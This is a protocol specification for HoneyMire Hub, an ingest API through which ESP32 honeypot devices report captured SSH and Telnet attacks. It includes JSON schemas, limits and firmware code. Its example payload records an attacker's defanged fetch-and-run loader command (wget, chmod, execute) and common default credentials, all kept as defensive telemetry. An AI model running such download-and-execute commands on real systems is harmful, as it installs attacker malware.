HoneyMire Hub

Docs / view source on GitHub →

HoneyMire Hub :: Ingest Protocol — v1

This document is the canonical contract between a HoneyMire honeypot device (the firmware) and a HoneyMire Hub instance (the hub). The firmware MUST produce payloads conforming to this spec; the hub MUST accept any payload conforming to this spec.

HoneyMire runs on multiple ESP32 boards — see §3.3 for the full list of hardware variants the hub recognizes.

The terms MUST, SHOULD, MAY are used with the meaning of RFC 2119.


1. Endpoint

POST /api/v1/ingest

The path is fixed. Hub deployments live at user-chosen origins (e.g. https://honeymire-hub.herokuapp.com or a custom domain); the firmware MUST prepend the user-configured origin to this path.

The hub also exposes:

Method Path Purpose
GET /api/v1/whoami Verify a bearer token, returns { honeypot_id, name }
GET /api/v1/attacks List the calling honeypot's own attacks
GET /healthz Liveness probe

This document only specifies POST /api/v1/ingest.


2. Authentication

Every request MUST carry a bearer token in the Authorization header:

Authorization: Bearer hop_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Tokens are issued by the hub when a user registers a honeypot (/honeypots). The raw token is shown to the user exactly once; only its SHA-256 hash is stored at rest. The user pastes the token into the firmware's Hub reporter configuration.

  • Format: hop_ followed by 32 base64url characters (192 bits of entropy).
  • Identity binding: the token uniquely identifies a single registered honeypot row on the hub. The hub knows the owner from the token; the firmware does NOT need to send a username.
  • Rotation: the user may rotate the token at any time on the hub. Old tokens stop working immediately. Firmware SHOULD treat HTTP 401 responses as a hint to surface "token rejected" in its UI.

A request that lacks the header, has a malformed token, or has a token the hub doesn't recognize MUST receive 401 Unauthorized.


3. Request body

3.1 Headers

Content-Type: application/json; charset=utf-8

UTF-8 is required. The hub MUST reject other charsets with 400.

3.2 Top-level shape

{
  "schema":   "honeymire.attack/v1",   // string, required, exact match
  "honeypot": { /* honeypot block */ },
  "attack":   { /* attack block   */ }
}

The schema field is the version discriminator. Future revisions will introduce honeymire.attack/v2 etc.; the hub MAY accept several versions in parallel during migration windows.

3.3 The honeypot block

Identifies the device that captured the attack, NOT the user's hub account. The user binding is implicit in the bearer token.

Field Type Req? Notes
device_id string ≤ 64 Stable across reboots. Recommended: hp- + lowercase hex of last 6 efuse-MAC bytes (hp-aabbccddeeff). MUST NOT change for the lifetime of the device.
firmware_version string ≤ 32 Semver-ish, e.g. "0.4.2". Compile-time constant.
firmware_build string ≤ 64 ISO 8601 build timestamp or git SHA.
uptime_s integer ≥ 0 Seconds since boot at the moment the attack was reported.
hardware object Static description of the physical board. See §3.3.1.

3.3.1 honeypot.hardware

Field Type Req? Notes
mcu enum string One of "esp32-c3", "esp32-s3". Case-sensitive. New MCUs add new enum values without bumping the protocol version.
board enum string The known canonical values are listed in §3.3.2. Unknown values are accepted and stored verbatim, but the firmware SHOULD prefer a known label for any board the hub recognizes.
display enum string Display controller / panel. One of "none", "ssd1306-72x40", "ssd1306-128x64", "ssd1306-128x32", "st7735-128x128". New values may appear in future firmware revisions.
flash_mb integer ≥ 1 Total flash in MiB.
psram_kb integer ≥ 0 PSRAM in KiB. 0 if the board has no PSRAM.
cpu_mhz integer ≥ 1 Configured CPU clock at boot. Useful when comparing latency across the fleet.

3.3.2 Supported board variants

These three variants are first-class — the hub renders board-specific icons and stats for them. Anything else is grouped under "other" but still fully supported.

board MCU Display Flash PSRAM Notes
esp32-c3-supermini esp32-c3 ssd1306-72x40 (built-in OLED) 4 MB 0 Original platform. The 0.42″ OLED on GPIO 5/6, boot-button on GPIO 9 is the function button. Driver: U8g2.
lilygo-t-qt-pro esp32-s3 st7735-128x128 (colour IPS) 4 MB 2 MB LilyGO T-QT Pro. Despite vendor pages naming it GC9107, current units use an ST7735-class controller; the firmware ships a custom panel init. Driver: LovyanGFX.
esp32-s3-n16r8 esp32-s3 none 16 MB 8 MB Headless dev board. No screen; status reachable only via the web dashboard, the serial CLI, or the hub. The 16 MB flash + 8 MB PSRAM lets it keep much longer asciinema casts.

The firmware MUST send the values exactly as written above (for board, mcu, display). Wrong-cased values are rejected with 422.

3.4 The attack block

Field Type Req? Notes
id integer ≥ 1 The firmware's local attack id. Combined with the honeypot identity (derived from the bearer token) it forms an idempotency key — see §5.
ts string | number When the attack started. ISO 8601 UTC string (preferred), unix seconds, or unix milliseconds.
duration_ms integer ≥ 0 How long the session lasted.
protocol enum One of "ssh", "telnet". Future protocols (http, ftp, smb) will extend this enum.
source object See §3.4.1.
auth object See §3.4.2.
session object See §3.4.3 (asciinema recording lives here).
geo object See §3.4.4. May be omitted; hub will fill in.
classification object See §3.4.5.
reported_to array List of intelligence services the firmware has already submitted this attack to. See §3.4.6.

3.4.1 attack.source

Field Type Req? Notes
ip string (IPv4/v6) Attacker IP. The hub validates that this parses as an inet address; otherwise rejects with 400.
port integer 1..65535 Attacker source port.

3.4.2 attack.auth

Field Type Req? Notes
user string ≤ 200 Username the attacker tried. May be empty.
pass string ≤ 400 Password the attacker tried.
authenticated boolean Whether the firmware let them in (after the configured threshold).
attempts integer ≥ 0 Total credential attempts in the session.
ssh_pubkeys array of objects SSH public keys offered before any password attempt (publickey-auth probes). One entry per offered key. See below.

Each entry of ssh_pubkeys is:

Field Type Req? Notes
type string ≤ 32 OpenSSH key type, e.g. ssh-ed25519, ssh-rsa, ecdsa-sha2-nistp256.
fingerprint string ≤ 80 SHA256: + base64 fingerprint, exactly as ssh-keygen -lf prints.
key string ≤ 800 Raw base64 portion of the key (no ssh-rsa prefix, no comment). May be omitted for very large keys.

3.4.3 attack.session

The transcript of the captured session. Optional but strongly recommended — the (input, output) pairs are the highest-signal forensic artefact a honeypot produces.

Field Type Req? Notes
commands integer ≥ 0 Distinct shell commands executed.
events array of event objects Structured i/o transcript. See §3.4.3.1. This replaces the v0 cast_v2 inline string — the firmware no longer ships a fully-formed asciicast; the hub builds one.
cast_truncated boolean true if the firmware had to drop later events due to RAM/flash pressure. The hub surfaces a banner on the playback page.
term object {cols,rows} Terminal dimensions the firmware presented. Defaults to 80×24 if absent. Used as the width/height of the reconstructed asciicast.

Each entry of events is:

Field Type Req? Notes
k enum "i"|"o" "i" = bytes the attacker sent (input); "o" = bytes the firmware sent back (output).
d string ≤ 16 KiB The bytes themselves, JSON-string-escaped. The firmware SHOULD batch consecutive same-direction bytes into a single event — one event per direction-change is the recommended cadence.

Total events payload (sum of all d lengths) is capped at 96 KiB; the hub stops parsing past the cap and sets cast_truncated automatically on the stored row. Up to 2000 events per session.

If events is omitted, the hub displays the attack with a no recording notice but still keeps every other field.

3.4.3.1 Why a transcript instead of a full asciicast?

Earlier drafts of this protocol asked the firmware to send a fully-formed asciicast v2 file inline as cast_v2. That turned out to be wasteful: the ESP32 had to JSON-escape ~50 KiB of byte-level events through a tight heap, and most of the payload was duplicated timing information the firmware doesn't actually have wall-clock fidelity for anyway.

The new shape ships only the bytes that flowed in each direction. The hub reconstructs an asciicast v2 file with synthetic timings that look natural in the player:

  • a brief settle delay (≈60 ms) before the first output event,
  • ≈350 ms "thinking" pause before each input event (gives the playback its typed-by-a-human rhythm),
  • ≈30 ms between consecutive output chunks, ≈40 ms after an input event.

These constants are tuned to look right; they are NOT representative of the attacker's real wall-clock pace. When an investigator needs the actual forensic stream, the original event order is preserved — the player just fakes the time axis.

3.4.4 attack.geo

All fields optional. The firmware SHOULD send what it has; the hub fills in any missing field via its own GeoIP provider when the attacker IP is public. See §6.

Field Type Notes
country string ≤ 80 Full name, e.g. "Germany".
country_code string == 2 ISO 3166-1 alpha-2 (uppercase).
city string ≤ 80
region string ≤ 80 First-level subdivision.
isp string ≤ 200
asn string ≤ 64 "AS<n>" or "AS<n> <org>".
lat number -90..90
lon number -180..180

3.4.5 attack.classification

The firmware's behavioral fingerprint of the attacker.

Field Type Notes
profile string ≤ 32 Free-form, but the recommended labels are: mirai, iot-loader, crypto-miner, scanner, creds-only, creds-probe, manual, scripted, lan, unknown.
confidence integer 0..100 Self-reported confidence.
command_summary string ≤ 4 KiB One-line-per-command digest (or any compact representation). Useful for the hub's list view.

3.4.6 attack.reported_to

Array of strings naming intelligence services the firmware has already submitted this attack to. The hub treats this as informational metadata — the hub does NOT re-submit. Recognized values:

  • "abuseipdb"
  • "otx"
  • "shadowserver"
  • "threatfox"

Unknown values are accepted and stored verbatim. The hub displays the list in the attack-detail view as small icons / labels.


4. Response

4.1 Success

When the attack is new:

HTTP/1.1 201 Created
Content-Type: application/json

{
  "ok": true,
  "attack_id": 12345,            // hub-side primary key, useful for future API calls
  "hp_local_id": 42,             // echoes attack.id
  "geo_filled_by_hub": false,    // true if hub completed missing geo fields
  "received_at": "2026-05-03T19:08:42.789Z"
}

When the same (honeypot, attack.id) pair has already been ingested:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "ok": true,
  "dedup": true,
  "attack_id": 12345,
  "hp_local_id": 42
}

4.2 Errors

Status Reason Body shape
400 malformed JSON / missing required field / bad type { "error": "<short reason>", "detail": "<field>" }
401 missing or unknown bearer token { "error": "invalid token" }
413 payload exceeds the hub's body cap (default 256 KiB) { "error": "payload too large" }
415 wrong Content-Type { "error": "content-type must be application/json" }
422 known schema, but a value violates its constraints { "error": "<short reason>", "detail": "<field>" }
429 per-IP rate limit { "error": "rate limited" } + Retry-After: <s>
5xx hub is unhealthy best-effort JSON; firmware MAY retry

The firmware MUST NOT treat 400/401/413/415/422 as retryable — those indicate a bug or stale config and re-sending will not help. 429 and 5xx are retryable with exponential backoff (recommended: 5s, 15s, 60s, 300s, give up after 5 attempts).


5. Idempotency

The pair (bearer-token-honeypot, attack.id) is the idempotency key. The hub stores at most one row per pair. A re-send of the exact same pair returns 200 OK with dedup: true and does not duplicate, modify, or overwrite the existing row.

Implications for the firmware:

  • attack.id MUST be monotonically increasing per honeypot, persistent across reboots, and unique within the lifetime of the bearer token.
  • If a POST fails with a network error or 5xx, the firmware SHOULD retry with the same attack.id. Doing so is safe.
  • If the firmware needs to update a previously-sent attack (e.g. add a late asciicast or a late geo lookup result), it MUST use the dedicated PATCH /api/v1/attacks/{hp_local_id} endpoint described in a future protocol revision; replaying the POST will not modify the existing row.

6. Geolocation handling

Order of precedence on the hub:

  1. Honeypot-supplied attack.geo.* fields are taken at face value.
  2. Hub fallback: if attack.geo is missing entirely, OR if it has no country_code, the hub performs its own GeoIP lookup via ip-api.com (free tier) on the attacker's IP. Resolved fields fill in any gaps; honeypot-supplied fields are NEVER overwritten.
  3. Private/LAN IPs (RFC 1918, loopback, link-local, CGNAT, IPv6 ULA) are never looked up. The hub records them with geo left empty and tags the attack as LAN-sourced in the dashboard.

The response field geo_filled_by_hub is true whenever step 2 actually ran. Firmware SHOULD respect this signal — if the hub keeps having to do geo for an IP the firmware has already seen, the firmware's local GeoIP cache may be misconfigured.


7. Limits

Limit Default value Notes
Maximum body size 128 KiB Server returns 413 past this. Down from earlier drafts because we no longer ship inline asciicasts.
Maximum events payload 96 KiB Sum of d field lengths. Past this the hub stops parsing and sets cast_truncated.
Maximum events per session 2 000 Sanity cap on the array length.
Per-IP rate limit 600 req/min Sliding window. Returns 429 + Retry-After.
Per-token rate limit (not enforced) Future revision.
Idle keep-alive 30 s Firmware MAY use HTTP/1.1 keep-alive for back-to-back POSTs.

A hub operator MAY raise or lower these per deployment; firmware should not assume the defaults.


8. Reference example

A complete, valid request body (from a C3 SuperMini):

{
  "schema": "honeymire.attack/v1",
  "honeypot": {
    "device_id": "hp-aabbccddeeff",
    "firmware_version": "0.4.2",
    "firmware_build": "2026-05-03T17:11:09Z",
    "uptime_s": 14233,
    "hardware": {
      "mcu":       "esp32-c3",
      "board":     "esp32-c3-supermini",
      "display":   "ssd1306-72x40",
      "flash_mb":  4,
      "psram_kb":  0,
      "cpu_mhz":   160
    }
  },
  "attack": {
    "id": 42,
    "ts": "2026-05-03T19:08:42.123Z",
    "duration_ms": 8421,
    "protocol": "ssh",
    "source": {
      "ip": "203.0.113.7",
      "port": 54321
    },
    "auth": {
      "user": "root",
      "pass": "12345",
      "authenticated": true,
      "attempts": 3,
      "ssh_pubkeys": [
        {
          "type": "ssh-ed25519",
          "fingerprint": "SHA256:abcdef0123456789abcdef0123456789abcdef01",
          "key": "AAAAC3NzaC1lZDI1NTE5AAAAIDOAhSAj7m..."
        }
      ]
    },
    "session": {
      "commands": 5,
      "term": { "cols": 80, "rows": 24 },
      "events": [
        { "k": "o", "d": "Welcome to Ubuntu 18.04.6 LTS\r\nroot@ubuntu:~# " },
        { "k": "i", "d": "uname -a\r\n" },
        { "k": "o", "d": "Linux ubuntu 5.15.0-105-generic #115-Ubuntu SMP x86_64 GNU/Linux\r\nroot@ubuntu:~# " },
        { "k": "i", "d": "wget hxxp://203.0.113.7/x.sh -O /tmp/x.sh\r\n" },
        { "k": "o", "d": "Connecting to 203.0.113.7:80... connection refused\r\nroot@ubuntu:~# " },
        { "k": "i", "d": "exit\r\n" },
        { "k": "o", "d": "logout\r\n" }
      ],
      "cast_truncated": false
    },
    "geo": {
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "region": "Berlin",
      "isp": "Example ISP GmbH",
      "asn": "AS12345",
      "lat": 52.52,
      "lon": 13.405
    },
    "classification": {
      "profile": "mirai",
      "confidence": 80,
      "command_summary": "wget hxxp://203.0.113.7/x.sh; chmod +x x.sh; ./x.sh; rm -f x.sh"
    },
    "reported_to": ["abuseipdb", "otx"]
  }
}

A successful response:

{
  "ok": true,
  "attack_id": 1024,
  "hp_local_id": 42,
  "geo_filled_by_hub": false,
  "received_at": "2026-05-03T19:08:43.012Z"
}

9. Minimum-viable examples

For low-resource scenarios (e.g. when LittleFS is full and the firmware can't read the cast back, or for the very first probe), the absolute minimum the hub accepts on any of the three first-class boards:

9.1 ESP32-C3 SuperMini OLED

{
  "schema": "honeymire.attack/v1",
  "honeypot": {
    "device_id": "hp-aabbccddeeff",
    "firmware_version": "0.4.2",
    "hardware": {
      "mcu": "esp32-c3", "board": "esp32-c3-supermini",
      "display": "ssd1306-72x40"
    }
  },
  "attack": {
    "id": 1,
    "ts": 1714680522,
    "protocol": "telnet",
    "source": { "ip": "203.0.113.7", "port": 60123 },
    "auth": { "user": "admin", "pass": "admin" }
  }
}

9.2 LilyGO T-QT Pro (colour IPS)

{
  "schema": "honeymire.attack/v1",
  "honeypot": {
    "device_id": "hp-112233445566",
    "firmware_version": "0.4.2",
    "hardware": {
      "mcu": "esp32-s3", "board": "lilygo-t-qt-pro",
      "display": "st7735-128x128",
      "flash_mb": 4, "psram_kb": 2048
    }
  },
  "attack": {
    "id": 1,
    "ts": 1714680522,
    "protocol": "ssh",
    "source": { "ip": "203.0.113.7", "port": 60123 },
    "auth": { "user": "root", "pass": "root", "authenticated": false }
  }
}

9.3 ESP32-S3-N16R8 (headless)

{
  "schema": "honeymire.attack/v1",
  "honeypot": {
    "device_id": "hp-7788998877aa",
    "firmware_version": "0.4.2",
    "hardware": {
      "mcu": "esp32-s3", "board": "esp32-s3-n16r8",
      "display": "none",
      "flash_mb": 16, "psram_kb": 8192
    }
  },
  "attack": {
    "id": 1,
    "ts": 1714680522,
    "protocol": "ssh",
    "source": { "ip": "203.0.113.7", "port": 60123 },
    "auth": { "user": "admin", "pass": "1234" }
  }
}

The hub fills in geo, leaves cast_v2 empty (showing "no recording"), and stores firmware_build, uptime_s, attempts, ssh_pubkeys, classification, reported_to as null / empty arrays.


10. Curl test

To smoke-test a new device or hub deployment from a workstation:

curl -i -X POST https://your-hub.example/api/v1/ingest \
  -H "Authorization: Bearer hop_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" \
  -H "Content-Type: application/json" \
  --data @docs/example.attack.json

A correctly-configured hub returns 201 Created and the attack appears in the user's dashboard within the next page reload (no caching).


11. Version history

Version Date Changes
v1 2026-05-04 Replaced the inline session.cast_v2 asciicast string with a structured session.events[] (i/o transcript). The hub now reconstructs the asciicast with synthetic timings; firmware no longer JSON-escapes a full asciicast on a tight heap. Body limit dropped 256 KiB → 128 KiB. Added optional session.term {cols, rows}.
v1 2026-05-03 Initial public protocol. Nested schema; mandatory schema discriminator; ssh_pubkeys array; reported_to informational; idempotent on (honeypot, attack.id). Replaced the flat honeypot.display string with a structured honeypot.hardware object; added first-class enums for the C3 SuperMini, LilyGO T-QT Pro, and ESP32-S3-N16R8 boards.

Backwards-compatible field additions to v1 are allowed without bumping the protocol version. Anything that changes the meaning of an existing field, removes a field, or adds a required field MUST bump to v2 and both versions MUST be supported by the hub for at least one release cycle.


12. Implementation notes (firmware)

These are non-normative recommendations for the agent implementing the firmware side. The reference firmware lives at https://github.com/KaSt/HoneyMire — diff against main for the current implementation status.

12.1 device_id derivation

The same routine works on every supported board. ESP-IDF returns the 6-byte base MAC address regardless of MCU family.

uint64_t mac = ESP.getEfuseMac();
char buf[20];
snprintf(buf, sizeof(buf), "hp-%02x%02x%02x%02x%02x%02x",
         (uint8_t)(mac >> 40), (uint8_t)(mac >> 32), (uint8_t)(mac >> 24),
         (uint8_t)(mac >> 16), (uint8_t)(mac >>  8), (uint8_t)(mac));

12.2 Filling the hardware block

A single compile-time selector drives every per-board difference. The firmware already exposes HONEYMIRE_DISPLAY_DRIVER (0 = headless, 1 = U8g2 mono, 2 = LovyanGFX colour); pick the corresponding row from the table below at compile time and emit constants.

HONEYMIRE_DISPLAY_DRIVER mcu board display typical flash_mb / psram_kb
1 (U8g2 mono OLED) esp32-c3 esp32-c3-supermini ssd1306-72x40 4 / 0
2 (LovyanGFX colour) esp32-s3 lilygo-t-qt-pro st7735-128x128 4 / 2048
0 (headless) esp32-s3 esp32-s3-n16r8 none 16 / 8192

flash_mb and psram_kb are best-effort and may be queried at runtime:

hw["flash_mb"]  = ESP.getFlashChipSize() / (1024 * 1024);
hw["psram_kb"]  = ESP.getPsramSize() / 1024;        // 0 on C3
hw["cpu_mhz"]   = getCpuFrequencyMhz();

12.3 Building session.events

The firmware does NOT need to know about asciicast at all. Keep an in-memory ring of {kind, bytes} records, append on every read/write into the SSH/Telnet channel, and at session end serialize the whole thing as a JSON array.

Recommended shape on the device:

struct SessionEvent { char k; String d; };  // k = 'i' | 'o'
static std::vector<SessionEvent> s_events;
static const size_t kMaxEventBytes = 96 * 1024;
static size_t s_event_total = 0;
static bool   s_truncated = false;

void session_record(char k, const char* data, size_t len) {
    if (s_truncated) return;
    if (s_event_total + len > kMaxEventBytes) {
        s_truncated = true;
        return;
    }
    // Coalesce with previous event if same direction — minimizes
    // per-event JSON overhead and keeps the array short.
    if (!s_events.empty() && s_events.back().k == k) {
        s_events.back().d.concat(data, len);
    } else {
        s_events.push_back({ k, String((const char*)data, len) });
    }
    s_event_total += len;
}

For the JSON, build an ArduinoJson::JsonArray and let the serializer do the escaping:

JsonArray ev = doc["attack"]["session"]["events"].to<JsonArray>();
for (auto& e : s_events) {
    JsonObject o = ev.add<JsonObject>();
    o["k"] = String(e.k);
    o["d"] = e.d;            // ArduinoJson escapes the bytes for us
}
doc["attack"]["session"]["cast_truncated"] = s_truncated;
doc["attack"]["session"]["term"]["cols"] = 80;
doc["attack"]["session"]["term"]["rows"] = 24;

Per-board guidance:

  • On the C3 SuperMini (no PSRAM, ~120-160 KiB free heap during a session) — keep the events ring small: 32 KiB total payload is plenty for any real attack. Drop the cap further if heap watermark trips.
  • On the T-QT Pro (2 MB PSRAM) and S3-N16R8 (8 MB PSRAM) — use the full 96 KiB cap; allocate the events vector in PSRAM (heap_caps_malloc(... MALLOC_CAP_SPIRAM)) so it doesn't compete with mbedTLS heap.

The hub builds a synthetic-timing asciicast from this data (see §3.4.3.1). The firmware does not need to compute timestamps.

12.4 Sending

Use WiFiClientSecure + HTTPClient. Set:

http.setReuse(true);                   // keep-alive across attacks
http.setTimeout(15000);
http.addHeader("Content-Type", "application/json; charset=utf-8");
http.addHeader("Authorization", String("Bearer ") + cfg.hub_token);
http.addHeader("User-Agent", "HoneyMire/" HONEYMIRE_VERSION);

Mirror the existing AbuseIPDB / OTX reporter pattern: enqueue on intel_enqueue(attack_id), run the POST from the dedicated FreeRTOS intel task so the AsyncTCP poll task is never blocked. Heap watermark guard (the existing kTlsMinHeap) applies — skip and retry later when free heap is below 32 KiB.

The C3 has the tightest TLS heap budget; the S3 boards have plenty of headroom and can run the hub reporter alongside AbuseIPDB+OTX without backing off as often.

12.5 Retry / dedup

  • Persist last_acked_attack_id in NVS. On boot, sweep the local attacks/log.jsonl and re-POST anything with a higher id whose payload hasn't been acknowledged. Dedup is the hub's job — the firmware just resends.
  • Respect Retry-After on 429.
  • Drop 4xx ≠ 429 permanently. On the C3/T-QT Pro, surface the failure on the screen for one boot-logo cycle; on the headless S3-N16R8 a single Serial.printf to the dashboard log is enough.

12.6 Privacy of LAN attacks

The firmware already suppresses AbuseIPDB / OTX reports for RFC 1918 sources. It SHOULD NOT suppress hub reports — LAN attacks are valuable local data, and the hub renders them with a 🏠 badge. Reporting them only matters for the user's own dashboard, never for the public feed.

12.7 Display-side feedback (per board)

Optional, but it's a nice quality-of-life signal that an attack actually made it to the hub:

  • C3 SuperMini OLED — when intel_enqueue finishes a successful hub POST, briefly flash a tiny "↑hub" glyph in the bottom-right of the existing attack icon for the same 15 s window. Re-uses the current Display::showAttack() state machine.
  • LilyGO T-QT Pro — overlay a small green check on the attack icon when the hub ACKs. The colour panel makes this trivially legible across the room.
  • ESP32-S3-N16R8 (headless) — surface in the Hub status card on the local web dashboard only.

HoneyMire Hub · open feed: / · API: /api · docs: /docs · about: /about · firmware: github.com/KaSt/HoneyMire